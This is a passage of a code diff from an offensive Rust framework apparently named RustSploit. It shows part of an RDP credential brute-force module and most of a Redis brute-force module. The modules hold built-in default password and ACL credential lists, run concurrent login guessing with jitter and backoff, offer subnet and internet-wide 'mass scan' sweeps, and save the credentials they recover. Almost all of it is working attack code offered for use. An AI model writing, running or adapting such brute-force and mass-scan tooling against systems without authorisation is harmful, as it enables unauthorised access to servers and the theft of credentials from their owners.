let passes = passes.clone();
|
||||
async move {
|
||||
// TCP connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let addr = format_socket_address(&ip.to_string(), port);
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
let mut consecutive_errors = 0u32;
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
match try_rdp_login(&addr, user, pass, timeout_duration, security_level)
|
||||
.await
|
||||
{
|
||||
Ok(true) => {
|
||||
let timestamp = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");
|
||||
let line =
|
||||
format!("[{}] {}:{}:{}:{}\n", timestamp, ip, port, user, pass);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
Ok(false) => {
|
||||
consecutive_errors = 0; // Auth failure = server responsive
|
||||
}
|
||||
Err(e) => {
|
||||
consecutive_errors += 1;
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused")
|
||||
|| err.contains("timeout")
|
||||
|| err.contains("reset")
|
||||
|| err.contains("not found")
|
||||
{
|
||||
return None; // Host unreachable, skip
|
||||
}
|
||||
// Backoff on consecutive errors to avoid hammering
|
||||
if consecutive_errors >= 3 {
|
||||
let delay = crate::utils::backoff_delay(500, consecutive_errors.min(5), 8);
|
||||
tokio::time::sleep(delay).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
// Subnet scan mode — use the engine's run_subnet_bruteforce
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
return run_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// Single target mode
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "RDP Port", 3389).await?;
|
||||
let security_level = RdpSecurityLevel::prompt_selection().await?;
|
||||
|
||||
let domain = cfg_prompt_default("domain", "Domain (blank for none)", "").await?;
|
||||
let domain = domain.trim().to_string();
|
||||
|
||||
let usernames_file_path =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file_path =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file name", "rdp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Determine streaming vs. memory-loaded mode for large wordlists
|
||||
let use_streaming = should_use_streaming(&passwords_file_path)?;
|
||||
let pass_file_size = std::fs::metadata(&passwords_file_path)?.len();
|
||||
|
||||
if use_streaming {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Password file is {} (>{}), using streaming mode to save memory",
|
||||
format_file_size(pass_file_size),
|
||||
format_file_size(MAX_MEMORY_LOAD_SIZE)
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Password file is {}, using memory-loaded mode for optimal performance",
|
||||
format_file_size(pass_file_size)
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
// Load wordlists into memory (the engine handles concurrency via task draining)
|
||||
let usernames = load_lines(&usernames_file_path)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
crate::mprintln!("[*] Loaded {} usernames", usernames.len());
|
||||
|
||||
let passwords = if use_streaming {
|
||||
// For large files, stream line-by-line to build combos without
|
||||
// holding both raw + combo vectors simultaneously.
|
||||
use std::io::{BufRead, BufReader};
|
||||
let file = std::fs::File::open(&passwords_file_path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut lines = Vec::new();
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let trimmed = line.trim().to_string();
|
||||
if !trimmed.is_empty() {
|
||||
lines.push(trimmed);
|
||||
}
|
||||
}
|
||||
lines
|
||||
} else {
|
||||
load_lines(&passwords_file_path)?
|
||||
};
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
crate::mprintln!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Total attempts: {}", combos.len()).cyan());
|
||||
|
||||
// Free original vecs since combos now owns the data
|
||||
drop(usernames);
|
||||
drop(passwords);
|
||||
|
||||
let addr = format_socket_address(target, port);
|
||||
|
||||
// Build engine config
|
||||
let bf_config = BruteforceConfig {
|
||||
target: addr.clone(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries: 2,
|
||||
service_name: "rdp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/rdp_credcheck",
|
||||
};
|
||||
|
||||
// Build the try_login closure capturing security_level, domain, and verbose
|
||||
let timeout_duration = Duration::from_secs(10);
|
||||
let result = run_bruteforce(&bf_config, combos, move |target, _port, user, pass| {
|
||||
let domain = domain.clone();
|
||||
let security_level = security_level;
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
// Prepend domain to username if provided
|
||||
let effective_user = if domain.is_empty() {
|
||||
user
|
||||
} else {
|
||||
format!("{}\\{}", domain, user)
|
||||
};
|
||||
let res =
|
||||
try_rdp_login(&target, &effective_user, &pass, timeout_dur, security_level).await;
|
||||
map_rdp_result(res)
|
||||
}
|
||||
})
|
||||
.await?;
|
||||
|
||||
// Display and save results
|
||||
result.print_found();
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
result.save_to_file(&path_str)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Subnet scan mode using the engine's `run_subnet_bruteforce`.
|
||||
async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
let port: u16 = cfg_prompt_port("port", "RDP Port", 3389).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() || passes.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 10, 1, 300).await? as u64;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"rdp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
let security_level = RdpSecurityLevel::prompt_selection().await?;
|
||||
|
||||
let subnet_config = SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "rdp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/rdp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
};
|
||||
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&subnet_config,
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let security_level = security_level;
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let addr = format_socket_address(&ip.to_string(), port);
|
||||
let res = try_rdp_login(&addr, &user, &pass, timeout_dur, security_level).await;
|
||||
map_rdp_result(res)
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
@@ -0,0 +1,657 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_REDIS_PORT: u16 = 6379;
|
||||
|
||||
/// Default passwords for Redis (password-only mode).
|
||||
/// Redis commonly runs with no auth, "redis", "foobared", etc.
|
||||
const DEFAULT_PASSWORDS: &[&str] = &[
|
||||
"", // no auth
|
||||
"redis",
|
||||
"password",
|
||||
"foobared",
|
||||
"admin",
|
||||
"123456",
|
||||
"root",
|
||||
"default",
|
||||
"letmein",
|
||||
"changeme",
|
||||
];
|
||||
|
||||
/// Default ACL credentials for Redis 6+ (username:password).
|
||||
const DEFAULT_ACL_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("default", ""),
|
||||
("default", "redis"),
|
||||
("default", "password"),
|
||||
("default", "foobared"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "redis"),
|
||||
("root", "root"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Redis Brute Force".to_string(),
|
||||
description: "Brute-force Redis authentication using raw TCP protocol. Supports both \
|
||||
legacy password-only AUTH and Redis 6+ ACL mode (AUTH username password). \
|
||||
Tests default credentials, gathers server info on success, and supports \
|
||||
subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://redis.io/docs/management/security/".to_string(),
|
||||
"https://redis.io/docs/management/security/acl/".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum RedisErrorType {
|
||||
AuthenticationFailed,
|
||||
NoAuthRequired,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
ProtocolError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl RedisErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("noauth") || lower.contains("no auth") {
|
||||
Self::NoAuthRequired
|
||||
} else if lower.contains("-err")
|
||||
|| lower.contains("wrongpass")
|
||||
|| lower.contains("invalid password")
|
||||
|| lower.contains("authentication")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("protocol") || lower.contains("unexpected") {
|
||||
Self::ProtocolError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::NoAuthRequired => "No authentication required",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::ProtocolError => "Protocol error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct RedisError {
|
||||
error_type: RedisErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for RedisError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for RedisError {}
|
||||
|
||||
impl RedisError {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = RedisErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== Redis Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Redis",
|
||||
default_port: DEFAULT_REDIS_PORT,
|
||||
state_file: "redis_hose_state.log",
|
||||
default_output: "redis_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
async move {
|
||||
// Quick TCP check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
// Verify Redis is reachable with PING
|
||||
let ping_result = tokio::task::spawn_blocking({
|
||||
let t = target_str.clone();
|
||||
move || redis_ping(&t, port, 5)
|
||||
}).await;
|
||||
|
||||
match ping_result {
|
||||
Ok(Ok(true)) => {
|
||||
// PING succeeded without auth — Redis has no auth
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", "", "(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}:(no auth)\n", ts, ip, port));
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
// Auth required, try defaults
|
||||
}
|
||||
_ => return None, // Connection failure
|
||||
}
|
||||
|
||||
if use_acl {
|
||||
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
|
||||
let t = target_str.clone();
|
||||
let u = user.to_string();
|
||||
let p = pass.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, port, &u, &p, true, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
Ok(Ok(false)) => continue,
|
||||
_ => return None,
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
let t = target_str.clone();
|
||||
let p = pass.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, port, "", &p, false, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", "", pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}::{}\n", ts, ip, port, pass));
|
||||
}
|
||||
Ok(Ok(false)) => continue,
|
||||
_ => return None,
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
|
||||
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
let users = if use_acl {
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let u = load_lines(&usernames_file)?;
|
||||
if u.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
u
|
||||
} else {
|
||||
// In password-only mode, use a single empty username
|
||||
vec![String::new()]
|
||||
};
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "redis_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "redis",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/redis_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&target_str, port, &user, &pass, use_acl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let usernames_file = if use_acl {
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least a password wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "redis_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
let mut passwords = Vec::new();
|
||||
|
||||
if use_acl {
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials
|
||||
if use_defaults {
|
||||
if use_acl {
|
||||
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default ACL credentials", DEFAULT_ACL_CREDENTIALS.len()).green());
|
||||
} else {
|
||||
// Password-only mode: single empty username
|
||||
if usernames.is_empty() {
|
||||
usernames.push(String::new());
|
||||
}
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
if !use_acl && usernames.is_empty() {
|
||||
usernames.push(String::new());
|
||||
}
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available (ACL mode requires usernames)"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, p, &user, &pass, use_acl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "redis",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/redis_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Redis responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "redis_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Redis Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Redis Protocol Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Send a PING to Redis. Returns Ok(true) if we get +PONG without auth,
|
||||
/// Ok(false) if auth is required (-NOAUTH), Err on connection failure.
|
||||
fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result<bool, RedisError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| RedisError {
|
||||
error_type: RedisErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
stream.write_all(&resp_cmd(&[b"PING"]))
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
let n = stream.read(&mut buffer)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("+PONG") {
|
||||
Ok(true)
|
||||
} else if response.contains("-NOAUTH") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(RedisError {
|
||||
error_type: RedisErrorType::ProtocolError,
|
||||
message: format!("Unexpected PING response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Build a RESP (REdis Serialization Protocol) array command.
|
||||
/// Length-prefixed format prevents injection even if args contain \r\n.
|
||||
